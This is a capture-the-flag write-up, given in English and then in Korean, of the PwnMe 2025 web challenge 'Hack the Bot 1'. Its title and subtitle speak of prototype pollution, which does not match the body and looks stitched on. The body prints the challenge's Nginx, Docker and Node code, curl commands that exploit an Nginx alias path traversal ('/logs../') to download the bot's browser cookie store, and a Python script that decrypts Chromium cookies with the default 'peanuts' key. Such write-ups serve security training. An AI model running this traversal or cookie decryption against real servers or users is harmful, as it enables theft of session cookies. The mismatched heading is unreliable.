Prototype Pollution: Poisoning JavaScript's Object Chain
How Prototype Pollution corrupts JavaScript's prototype chain and how to defend against it
In the PwnMe 2025 CTF, I encountered an interesting web challenge called “Hack the Bot 1.” This challenge focused on exploiting path traversal vulnerabilities in a misconfigured Nginx server to gain access to sensitive data. Let’s get into the details of this challenge and how I solved it.
The challenge provided us with a web application that allowed users to report URLs for a bot to visit. The bot, implemented using Puppeteer, would visit the specified URL and store logs of its activities.
Let’s start by examining the key configuration files provided in the challenge.
events{}
user root;
http {
server {
listen 80;
location / {
proxy_pass http://127.0.0.1:5000;
}
location /logs {
autoindex off;
alias /tmp/bot_folder/logs/;
try_files $uri $uri/ =404;
}
}
}
The Nginx configuration revealed two significant paths:
/logs path that maps to /tmp/bot_folder/logs/FROM node:18-slim
RUN apt-get update && apt-get install -y \
gconf-service libasound2 libatk1.0-0 libcairo2 libcups2 libfontconfig1 libgdk-pixbuf2.0-0 \
libgtk-3-0 libnspr4 libpango-1.0-0 libxss1 fonts-liberation libappindicator1 libnss3 \
lsb-release xdg-utils wget nginx
RUN wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
dpkg -i google-chrome-stable_current_amd64.deb; apt-get -fy install && \
rm google-chrome-stable_current_amd64.deb
RUN mkdir -p /app /tmp/bot_folder/logs /tmp/bot_folder/browser_cache
COPY /source /app
COPY flag2.txt /root/
COPY nginx.conf /etc/nginx/nginx.conf
WORKDIR /app
RUN npm install
EXPOSE 80
CMD service nginx start && node app.js
The Dockerfile revealed several key details:
/root/flag2.txt/tmp/bot_folder/browser_cacheThe application’s main functionality was handled by the following Node.js code:
const express = require('express');
const path = require('path');
const fs = require('fs');
const { spawn } = require('child_process');
const puppeteer = require('puppeteer');
const { format } = require('date-fns');
const app = express();
const port = 5000;
const logPath = '/tmp/bot_folder/logs/';
const browserCachePath = '/tmp/bot_folder/browser_cache/';
const cookie = {
name: 'Flag',
value: "PWNME{FAKE_FLAG}",
sameSite: 'Strict'
};
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
if (!fs.existsSync(logPath)) {
fs.mkdirSync(logPath, { recursive: true });
}
if (!fs.existsSync(browserCachePath)) {
fs.mkdirSync(browserCachePath, { recursive: true });
}
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
async function startBot(url, name) {
const logFilePath = path.join(logPath, `${name}.log`);
try {
const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
logStream.write(`${new Date()} : Attempting to open website ${url}\n`);
const browser = await puppeteer.launch({
headless: 'new',
args: ['--remote-allow-origins=*','--no-sandbox', '--disable-dev-shm-usage', `--user-data-dir=${browserCachePath}`]
});
const page = await browser.newPage();
await page.goto(url);
if (url.startsWith("http://localhost/")) {
await page.setCookie(cookie);
}
logStream.write(`${new Date()} : Successfully opened ${url}\n`);
await sleep(7000);
await browser.close();
logStream.write(`${new Date()} : Finished execution\n`);
logStream.end();
} catch (e) {
const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
logStream.write(`${new Date()} : Exception occurred: ${e}\n`);
logStream.end();
}
}
app.get('/', (req, res) => {
res.render('index');
});
app.get('/report', (req, res) => {
res.render('report');
});
app.post('/report', (req, res) => {
const url = req.body.url;
const name = format(new Date(), "yyMMdd_HHmmss");
startBot(url, name);
res.status(200).send(`logs/${name}.log`);
});
app.listen(port, () => {
console.log(`App running at http://0.0.0.0:${port}`);
});
After analyzing the provided code, I identified several key points:
/tmp/bot_folder/browser_cache//logs pathThe primary vulnerability lies in the Nginx configuration. When using the alias directive with certain URL patterns, it’s possible to perform path traversal attacks. This is particularly true with the configuration pattern shown in this challenge.
The path to exploitation became clear:
http://localhost/ to set the Flag cookie/logs endpoint to access the browser’s cookie storageHere’s the exploitation process:
# Step 1: Have the bot visit localhost
curl http://challenge-url/report -d "url=http://localhost/"
# Step 2: Access browser cookies via path traversal
curl http://challenge-url/logs../browser_cache/Default/Cookies --output Cookies
The key insight was that the path /logs../browser_cache/ would be interpreted by Nginx as:
/tmp/bot_folder/logs//tmp/bot_folder/browser_cache/This allowed me to move outside the intended directory and access the browser’s cookie storage, which contained the flag cookie set during the bot’s visit to localhost.
Chromium-based browsers encrypt cookies stored on disk. Since the Docker container runs as root, the cookies are encrypted with a key accessible to the root user. After retrieving the cookie file, I needed to decrypt it.
For Chromium-based browsers, the cookies are typically encrypted using AES-GCM with a key derived from the OS’s keychain or a hardcoded value for simpler deployments. Since this was running in a Docker container with a basic setup, the encryption was using the default “peanuts” passphrase with AES-CBC and a salt of “saltysalt”.
I wrote a Python script to decrypt the cookie:
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import sqlite3
def clean(x):
return x[:-x[-1]].decode('utf8')
# Open the cookie file
conn = sqlite3.connect('./Cookies')
cursor = conn.cursor()
# Get the encrypted cookie value
cursor.execute('SELECT host_key, name, value, encrypted_value FROM cookies')
for row in cursor.fetchall():
_, _, _, encrypted_value = row
conn.close()
# Skip the v10 prefix
encrypted_value = encrypted_value[3:]
# Set up decryption parameters
salt = b'saltysalt'
iv = b' ' * 16
length = 16
my_pass = "peanuts".encode('utf8')
iterations = 1
# Generate key and decrypt
key = PBKDF2(my_pass, salt, length, iterations)
cipher = AES.new(key, AES.MODE_CBC, IV=iv)
decrypted = cipher.decrypt(encrypted_value)
print(clean(decrypted))
Running this script on the retrieved cookie file revealed the flag: PWNME{FAKE_FLAG} (the actual flag in the competition was different).
The “Hack the Bot 1” challenge demonstrated several important security concepts:
alias directives in NginxThe challenge was a great reminder of how seemingly small configuration issues can lead to significant security vulnerabilities. It also highlighted the importance of understanding the security implications of using browser automation in web applications.
This challenge was particularly interesting because it combined web server misconfigurations with browser security considerations, creating a multi-step exploit path that required understanding both areas.
PwnMe 2025 CTF에서 “Hack the Bot 1”이라는 재미있는 웹 문제를 만났습니다. 잘못 설정된 Nginx 서버의 경로 탐색(path traversal) 취약점을 파고들어 민감한 데이터에 접근하는 게 핵심인 문제였는데요. 이 문제가 어떻게 생겼고 제가 어떻게 풀었는지 하나씩 짚어 보겠습니다.
이 문제는 사용자가 봇이 방문할 URL을 신고(report)할 수 있는 웹 애플리케이션을 줬습니다. Puppeteer로 만든 봇이 지정된 URL로 찾아가서, 자기 활동 로그를 남기는 구조였죠.
문제에서 준 주요 설정 파일부터 하나씩 열어 봅시다.
events{}
user root;
http {
server {
listen 80;
location / {
proxy_pass http://127.0.0.1:5000;
}
location /logs {
autoindex off;
alias /tmp/bot_folder/logs/;
try_files $uri $uri/ =404;
}
}
}
Nginx 설정에서 눈여겨볼 경로가 두 개 보입니다.
/tmp/bot_folder/logs/로 매핑되는 /logs 경로FROM node:18-slim
RUN apt-get update && apt-get install -y \
gconf-service libasound2 libatk1.0-0 libcairo2 libcups2 libfontconfig1 libgdk-pixbuf2.0-0 \
libgtk-3-0 libnspr4 libpango-1.0-0 libxss1 fonts-liberation libappindicator1 libnss3 \
lsb-release xdg-utils wget nginx
RUN wget https://dl.google.com/linux/direct/google-chrome-stable_current_amd64.deb && \
dpkg -i google-chrome-stable_current_amd64.deb; apt-get -fy install && \
rm google-chrome-stable_current_amd64.deb
RUN mkdir -p /app /tmp/bot_folder/logs /tmp/bot_folder/browser_cache
COPY /source /app
COPY flag2.txt /root/
COPY nginx.conf /etc/nginx/nginx.conf
WORKDIR /app
RUN npm install
EXPOSE 80
CMD service nginx start && node app.js
Dockerfile을 보니 몇 가지 힌트가 딸려 나옵니다.
/root/flag2.txt에 있다/tmp/bot_folder/browser_cache에 저장된다애플리케이션의 핵심 기능은 다음 Node.js 코드가 맡고 있었습니다.
const express = require('express');
const path = require('path');
const fs = require('fs');
const { spawn } = require('child_process');
const puppeteer = require('puppeteer');
const { format } = require('date-fns');
const app = express();
const port = 5000;
const logPath = '/tmp/bot_folder/logs/';
const browserCachePath = '/tmp/bot_folder/browser_cache/';
const cookie = {
name: 'Flag',
value: "PWNME{FAKE_FLAG}",
sameSite: 'Strict'
};
app.use(express.urlencoded({ extended: true }));
app.use(express.static(path.join(__dirname, 'public')));
app.set('views', path.join(__dirname, 'views'));
app.set('view engine', 'ejs');
if (!fs.existsSync(logPath)) {
fs.mkdirSync(logPath, { recursive: true });
}
if (!fs.existsSync(browserCachePath)) {
fs.mkdirSync(browserCachePath, { recursive: true });
}
const sleep = ms => new Promise(resolve => setTimeout(resolve, ms));
async function startBot(url, name) {
const logFilePath = path.join(logPath, `${name}.log`);
try {
const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
logStream.write(`${new Date()} : Attempting to open website ${url}\n`);
const browser = await puppeteer.launch({
headless: 'new',
args: ['--remote-allow-origins=*','--no-sandbox', '--disable-dev-shm-usage', `--user-data-dir=${browserCachePath}`]
});
const page = await browser.newPage();
await page.goto(url);
if (url.startsWith("http://localhost/")) {
await page.setCookie(cookie);
}
logStream.write(`${new Date()} : Successfully opened ${url}\n`);
await sleep(7000);
await browser.close();
logStream.write(`${new Date()} : Finished execution\n`);
logStream.end();
} catch (e) {
const logStream = fs.createWriteStream(logFilePath, { flags: 'a' });
logStream.write(`${new Date()} : Exception occurred: ${e}\n`);
logStream.end();
}
}
app.get('/', (req, res) => {
res.render('index');
});
app.get('/report', (req, res) => {
res.render('report');
});
app.post('/report', (req, res) => {
const url = req.body.url;
const name = format(new Date(), "yyMMdd_HHmmss");
startBot(url, name);
res.status(200).send(`logs/${name}.log`);
});
app.listen(port, () => {
console.log(`App running at http://0.0.0.0:${port}`);
});
코드를 찬찬히 뜯어보니 핵심이 몇 가지 잡혔습니다.
/tmp/bot_folder/browser_cache/에 저장한다/logs 경로를 alias 지시자로 설정해 두고 있다핵심 취약점은 Nginx 설정에 있습니다. 특정 URL 패턴에 alias 지시자를 함께 쓰면 경로 탐색 공격이 가능해지거든요. 특히 이 문제에 나온 설정 패턴이 딱 그런 경우입니다.
여기까지 오니 공격 경로가 또렷해졌습니다.
http://localhost/로 보내서 Flag 쿠키를 심게 한다/logs 엔드포인트의 경로 탐색으로 브라우저의 쿠키 저장소에 접근한다공격 과정은 이렇습니다.
# Step 1: Have the bot visit localhost
curl http://challenge-url/report -d "url=http://localhost/"
# Step 2: Access browser cookies via path traversal
curl http://challenge-url/logs../browser_cache/Default/Cookies --output Cookies
핵심은 /logs../browser_cache/ 경로를 Nginx가 이렇게 해석한다는 점이었습니다.
/tmp/bot_folder/logs/에서 출발/tmp/bot_folder/로 한 칸 올라감browser_cache/로 진입이 덕분에 의도된 디렉터리 밖으로 슬쩍 빠져나가, 봇이 localhost를 방문할 때 심어 둔 플래그 쿠키가 든 브라우저 쿠키 저장소에 접근할 수 있었죠.
Chromium 기반 브라우저는 디스크에 저장하는 쿠키를 암호화합니다. 이 Docker 컨테이너는 root로 돌고 있으니, 쿠키도 root가 접근할 수 있는 키로 암호화돼 있죠. 그래서 쿠키 파일을 가져온 다음엔 이걸 복호화해 줘야 했습니다.
Chromium 계열에서 쿠키는 보통 OS 키체인에서 유도한 키로, 더 단순한 배포에서는 하드코딩된 값을 쓰는 AES-GCM으로 암호화됩니다. 이 문제는 기본 설정의 Docker 컨테이너에서 도는 터라, 기본 “peanuts” 패스프레이즈와 “saltysalt” 솔트를 쓰는 AES-CBC로 암호화되고 있었어요.
그래서 쿠키를 복호화하는 Python 스크립트를 하나 짰습니다.
from Crypto.Cipher import AES
from Crypto.Protocol.KDF import PBKDF2
import sqlite3
def clean(x):
return x[:-x[-1]].decode('utf8')
# Open the cookie file
conn = sqlite3.connect('./Cookies')
cursor = conn.cursor()
# Get the encrypted cookie value
cursor.execute('SELECT host_key, name, value, encrypted_value FROM cookies')
for row in cursor.fetchall():
_, _, _, encrypted_value = row
conn.close()
# Skip the v10 prefix
encrypted_value = encrypted_value[3:]
# Set up decryption parameters
salt = b'saltysalt'
iv = b' ' * 16
length = 16
my_pass = "peanuts".encode('utf8')
iterations = 1
# Generate key and decrypt
key = PBKDF2(my_pass, salt, length, iterations)
cipher = AES.new(key, AES.MODE_CBC, IV=iv)
decrypted = cipher.decrypt(encrypted_value)
print(clean(decrypted))
가져온 쿠키 파일에 이 스크립트를 돌리니 플래그가 툭 튀어나왔습니다. PWNME{FAKE_FLAG} (실제 대회 플래그는 물론 달랐고요).
“Hack the Bot 1” 문제는 몇 가지 중요한 보안 개념을 짚어 줬습니다.
alias 지시자를 쓸 때이 문제는 사소해 보이는 설정 하나가 어떻게 중대한 취약점으로 번질 수 있는지를 잘 일깨워 줬습니다. 동시에 웹 애플리케이션에서 브라우저 자동화를 쓸 때의 보안적 함의를 이해하는 게 얼마나 중요한지도 새삼 느끼게 했고요.
무엇보다 웹 서버 오설정과 브라우저 보안을 하나로 엮어, 두 영역을 모두 이해해야 풀리는 다단계 익스플로잇 경로를 만들었다는 점에서 특히 흥미로운 문제였습니다.